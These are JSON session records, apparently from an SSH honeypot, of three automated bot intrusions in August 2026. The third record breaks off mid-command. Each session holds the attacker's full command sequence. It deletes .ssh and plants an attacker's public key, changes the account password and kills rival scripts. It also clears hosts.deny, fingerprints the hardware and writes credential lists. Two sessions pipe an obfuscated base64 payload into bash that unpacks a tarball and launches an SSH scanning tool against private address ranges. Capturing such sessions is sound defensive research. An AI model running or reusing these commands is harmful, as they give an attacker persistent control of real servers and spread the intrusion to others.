{"id":"74526c11-02f0-421e-bc64-60a9b9ce3ee7","name":"gilded-glacial-wombat","protocol":"ssh","channel_kind":"exec","src_ip":"103.143.238.100","src_port":53956,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":257,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T05:47:19.457008+00:00","ended_at":"2026-08-26T05:47:19.533615+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3807,"events":[{"seq":1,"at":"2026-08-26T05:46:55.779056+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T05:46:56.038155+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T05:46:59.312882+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T05:46:59.313348+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T05:46:59.575431+00:00","kind":"input","latency_ms":null,"data":"echo \"root:lAfQVeGLAzYw\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T05:46:59.827673+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T05:47:00.083782+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T05:47:00.084666+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T05:47:00.209401+00:00","kind":"output","latency_ms":635,"data":""},{"seq":10,"at":"2026-08-26T05:47:00.343793+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T05:47:01.094588+00:00","kind":"output","latency_ms":749,"data":"15888 2143 12345 0 0 0"},{"seq":12,"at":"2026-08-26T05:47:01.347554+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T05:47:01.812077+00:00","kind":"output","latency_ms":464,"data":"-rwxr-xr-x 1 root root 142K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-26T05:47:02.062067+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T05:47:02.062533+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T05:47:02.324335+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T05:47:02.325352+00:00","kind":"output","latency_ms":null,"data":" 05:47:02 up 6 days, 2:37, 0 user, load average: 0.25, 0.2, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T05:47:02.575825+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T05:47:02.576332+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T05:47:02.837127+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T05:47:02.837614+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T05:47:03.103674+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T05:47:03.104305+00:00","kind":"output","latency_ms":null,"data":"top - 05:47:03 up 6 days, 2:37, 0 user, load average: 0.25, 0.2, 0.15\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9850 free, 6037 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T05:47:03.359138+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T05:47:03.371998+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T05:47:03.619239+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T05:47:03.619713+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T05:47:03.866670+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T05:47:03.867407+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T05:47:04.111547+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T05:47:05.152471+00:00","kind":"output","latency_ms":1040,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-26T05:47:05.408700+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T05:47:05.748465+00:00","kind":"output","latency_ms":338,"data":"29G"},{"seq":34,"at":"2026-08-26T05:47:06.736723+00:00","kind":"input","latency_ms":null,"data":"echo \"root 12345678900987654321\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-26T05:47:06.992317+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-26T05:47:07.294733+00:00","kind":"output","latency_ms":301,"data":""},{"seq":37,"at":"2026-08-26T05:47:07.854920+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-26T05:47:08.551896+00:00","kind":"output","latency_ms":703,"data":"root 12345678900987654321"},{"seq":39,"at":"2026-08-26T05:47:08.809351+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-26T05:47:09.208560+00:00","kind":"output","latency_ms":398,"data":"root 12345678900987654321"},{"seq":41,"at":"2026-08-26T05:47:09.459320+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-26T05:47:09.714151+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-26T05:47:10.069880+00:00","kind":"output","latency_ms":355,"data":"1"},{"seq":44,"at":"2026-08-26T05:47:10.327682+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-26T05:47:10.692594+00:00","kind":"output","latency_ms":365,"data":"1"},{"seq":46,"at":"2026-08-26T05:47:10.950315+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-26T05:47:19.457666+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-26T05:47:19.458204+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"12345678900987654321","method":"password","accepted":true,"tier":"other"}]} {"id":"c0f1f91f-14eb-443c-927e-66e77cd79df1","name":"golden-genial-skink","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.224.160","src_port":56948,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":648,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T05:01:27.203810+00:00","ended_at":"2026-08-26T05:01:27.406284+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3963,"events":[{"seq":1,"at":"2026-08-26T05:00:29.624742+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T05:00:30.280132+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T05:00:36.486850+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T05:00:36.488427+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T05:00:37.135555+00:00","kind":"input","latency_ms":null,"data":"echo \"root:9exLzm2gmtBl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T05:00:37.786310+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T05:00:38.009202+00:00","kind":"output","latency_ms":872,"data":""},{"seq":8,"at":"2026-08-26T05:00:38.434473+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-26T05:00:38.435377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T05:00:39.084919+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T05:00:39.889875+00:00","kind":"output","latency_ms":804,"data":"15888 11234 4654 0 0 0"},{"seq":12,"at":"2026-08-26T05:00:40.539045+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T05:00:41.368595+00:00","kind":"output","latency_ms":828,"data":"-rwxr-xr-x 1 root root 133K Apr 23 2026 /usr/bin/ls"},{"seq":14,"at":"2026-08-26T05:00:42.017954+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T05:00:42.018684+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-26T05:00:42.668688+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T05:00:42.669189+00:00","kind":"output","latency_ms":null,"data":" 05:00:42 up 6 days, 1:50, 0 user, load average: 0.14, 0.13, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T05:00:43.317477+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T05:00:43.317840+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T05:00:43.965885+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T05:00:43.966570+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T05:00:44.616755+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T05:00:44.617472+00:00","kind":"output","latency_ms":null,"data":"top - 05:00:44 up 6 days, 1:50, 0 user, load average: 0.14, 0.13, 0.16\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T05:00:45.264632+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T05:00:45.266483+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T05:00:45.912220+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T05:00:45.913340+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T05:00:46.560539+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T05:00:46.561121+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T05:00:47.209114+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T05:00:48.534181+00:00","kind":"output","latency_ms":1313,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-26T05:00:49.185754+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T05:00:49.851487+00:00","kind":"output","latency_ms":668,"data":"25G"},{"seq":34,"at":"2026-08-26T05:00:55.065031+00:00","kind":"input","latency_ms":null,"data":"echo \"root 123654\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-26T05:00:55.715026+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-26T05:00:56.080592+00:00","kind":"output","latency_ms":365,"data":""},{"seq":37,"at":"2026-08-26T05:00:58.025256+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-26T05:00:58.541357+00:00","kind":"output","latency_ms":515,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-26T05:00:59.192639+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-26T05:00:59.663911+00:00","kind":"output","latency_ms":473,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-26T05:01:00.312100+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-26T05:01:00.957523+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-26T05:01:01.406689+00:00","kind":"output","latency_ms":447,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-26T05:01:02.054784+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-26T05:01:02.491545+00:00","kind":"output","latency_ms":436,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-26T05:01:03.139999+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-26T05:01:03.479606+00:00","kind":"output","latency_ms":339,"data":""},{"seq":48,"at":"2026-08-26T05:01:27.204388+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-26T05:01:27.205588+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"123654","method":"password","accepted":true,"tier":"other"}]} {"id":"c72c6066-3a0b-45ff-9582-797fa577a4e0","name":"creaky-candid-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"172.190.51.254","src_port":54534,"username":"mysql","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":80,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T23:54:45.005639+00:00","ended_at":"2026-08-25T23:54:45.156423+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3266,"events":[{"seq":1,"at":"2026-08-25T23:54:23.017930+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T23:54:23.086630+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T23:54:25.434219+00:00","kind":"output","latency_ms":2416,"data":""},{"seq":4,"at":"2026-08-25T23:54:25.910443+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-25T23:54:25.911022+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-25T23:54:25.990599+00:00","kind":"input","latency_ms":null,"data":"echo -e \"mysql!\\nuM75QTPcuY2d\\nuM75QTPcuY2d\"|passwd|bash"},{"seq":7,"at":"2026-08-25T23:54:26.060370+00:00","kind":"input","latency_ms":null,"data":"echo \"mysql!\\nuM75QTPcuY2d\\nuM75QTPcuY2d\\n\"|passwd"},{"seq":8,"at":"2026-08-25T23:54:26.130099+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-25T23:54:26.131614+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-25T23:54:26.200621+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-25T23:54:27.033579+00:00","kind":"output","latency_ms":832,"data":"15888 10543 5345 412 2801 4580"},{"seq":12,"at":"2026-08-25T23:54:27.105089+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-25T23:54:27.631890+00:00","kind":"output","latency_ms":525,"data":"-rwxr-xr-x 1 root root 148K Apr 7 2025 /usr/bin/ls"},{"seq":14,"at":"2026-08-25T23:54:27.708325+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T23:54:27.708806+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-25T23:54:27.787690+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-25T23:54:27.788356+00:00","kind":"output","latency_ms":null,"data":" 23:54:27 up 5 days, 20:44, 0 user, load average: 0.25, 0.32, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-25T23:54:27.858120+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-25T23:54:27.858835+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-25T23:54:27.927656+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-25T23:54:27.928428+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-25T23:54:28.009215+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-25T23:54:28.009710+00:00","kind":"output","latency_ms":null,"data":"top - 23:54:28 up 5 days, 20:44, 0 user, load average: 0.25, 0.32, 0.26\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-25T23:54:28.088844+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-25T23:54:28.089762+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-25T23:54:28.169956+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-25T23:54:28.170413+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-25T23:54:28.250784+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-25T23:54:28.252201+00:00","kind":"output","latency_ms":null,"data":"mysql"},{"seq":30,"at":"2026-08-25T23:54:28.320571+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-25T23:54:29.056741+00:00","kind":"output","latency_ms":735,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-25T23:54:29.133901+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-25T23:54:31.501558+00:00","kind":"output","latency_ms":2366,"data":"24G"},{"seq":34,"at":"2026-08-25T23:54:31.851067+00:00","kind":"input","latency_ms":null,"data":"echo \"mysql mysql!\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-25T23:54:31.939694+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-25T23:54:32.345864+00:00","kind":"output","latency_ms":406,"data":""},{"seq":37,"at":"2026-08-25T23:54:32.362142+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-25T23:54:32.891164+00:00","kind":"output","latency_ms":528,"data":"1"},{"seq":39,"at":"2026-08-25T23:54:33.046846+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-25T23:54:33.491629+00:00","kind":"output","latency_ms":444,"data":"1"},{"seq":41,"at":"2026-08-25T23:54:34.011875+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T23:54:34.423755+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-25T23:54:34.947220+00:00","kind":"output","latency_ms":521,"data":"1"},{"seq":44,"at":"2026-08-25T23:54:35.229013+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-25T23:54:35.716672+00:00","kind":"output","latency_ms":487,"data":"1"},{"seq":46,"at":"2026-08-25T23:54:35.957300+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo 